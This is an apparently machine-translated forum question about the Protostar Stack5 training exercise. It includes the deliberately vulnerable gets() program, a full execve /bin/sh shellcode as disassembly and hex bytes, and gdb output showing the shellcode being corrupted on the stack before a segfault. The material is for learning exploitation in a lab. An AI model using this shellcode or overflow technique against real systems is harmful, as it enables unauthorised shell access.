Эй, я сейчас делаю ProtoStar-Stack5 http://exploit-exercises.lains.space/protostar/stack5/ со следующим c -кодом:
#include <stdlib.h>
#include <unistd.h>
#include <stdio.h>
#include <string.h>
int main(int argc, char **argv)
{
char buffer[64];
gets(buffer);
}
Atm im пытается выполнить шеллкод:
08048060 <_start>:
8048060: 31 c0 xor %eax,%eax
8048062: 50 push %eax
8048063: 68 2f 2f 73 68 push $0x68732f2f
8048068: 68 2f 62 69 6e push $0x6e69622f
804806d: 89 e3 mov %esp,%ebx
804806f: 89 c1 mov %eax,%ecx
8048071: 89 c2 mov %eax,%edx
8048073: b0 0b mov $0xb,%al
8048075: cd 80 int $0x80
8048077: 31 c0 xor %eax,%eax
8048079: 40 inc %eax
804807a: cd 80 int $0x80
\ x31 \ xc0 \ x50 \ x68 \ x2f \ x2f \ x73 \ x68 \ x68 \ x2f \ x62 \ x69 \ x6e \ x89 \ xe3 \ x89 \ xc1 \ x89 \ xc2 \ xb0 \ x0b \ xcd \ x80 \ x31 \ xc0 \ x40 \ xcd \ x80
при выполнении переполнения в gdb (gef), он выполняется как положено, пока две строки (0x68732f2f и 0x6e69622f) не будут помещены в стек. После нажатия на вторую строку, сборка меняется с:
mov ebx,esp
mov ecx,eax
mov edx,eax
mov al,0xb
int 0x80
на:
mov ebx,esp
mov ecx,eax
mov edx,eax
mov al,0x2f
bound ebp,QWORD PTR [ecx+0x6e]
das
das
jae 0xffffcee4
, а затем segfaults на bound ebp, QWORD PTR [ecx+0x6e]
Теперь у меня вопрос, почему она меняется и если изменение имеет отношение к segfault.